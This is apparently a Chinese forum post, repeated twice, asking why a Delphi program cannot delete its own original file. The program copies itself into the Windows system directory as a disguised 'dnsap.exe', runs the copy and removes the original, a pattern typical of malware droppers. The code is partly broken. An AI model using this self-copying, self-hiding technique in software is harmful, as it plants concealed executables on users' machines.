余
余远源
Unregistered / Unconfirmed
GUEST, unregistred user!
program myinstall;
uses
windows,sysutils,forms;
var
NewPENamechar;
i:integer;
begin
NewPEName := pchar(LowerCase(MyGetSystemDirectory+'dnsap.exe'));
UsbDisk:=copy(GetExeAllName,1,3);
if GetExeAllName <> NewPEName then
begin
copyfile(pchar(GetExeAllName),NewPEName,false);
winexec(pchar(NewPEName),sw_show);
halt;
end
else
begin
// messagebox(0,'a','a',0);
SetFileAttributes('c:/myinstall.exe',FILE_ATTRIBUTE_NORMAL);
DeleteFile('c:/myinstall.exe');
end;
end.
编绎后另存为c:/myinstall.exe
如让messagebox跳出来,就可以删除.
把messagebox(0,'a','a',0)换成sleep(10000)却删不了.什么原因呢?
uses
windows,sysutils,forms;
var
NewPENamechar;
i:integer;
begin
NewPEName := pchar(LowerCase(MyGetSystemDirectory+'dnsap.exe'));
UsbDisk:=copy(GetExeAllName,1,3);
if GetExeAllName <> NewPEName then
begin
copyfile(pchar(GetExeAllName),NewPEName,false);
winexec(pchar(NewPEName),sw_show);
halt;
end
else
begin
// messagebox(0,'a','a',0);
SetFileAttributes('c:/myinstall.exe',FILE_ATTRIBUTE_NORMAL);
DeleteFile('c:/myinstall.exe');
end;
end.
编绎后另存为c:/myinstall.exe
如让messagebox跳出来,就可以删除.
把messagebox(0,'a','a',0)换成sleep(10000)却删不了.什么原因呢?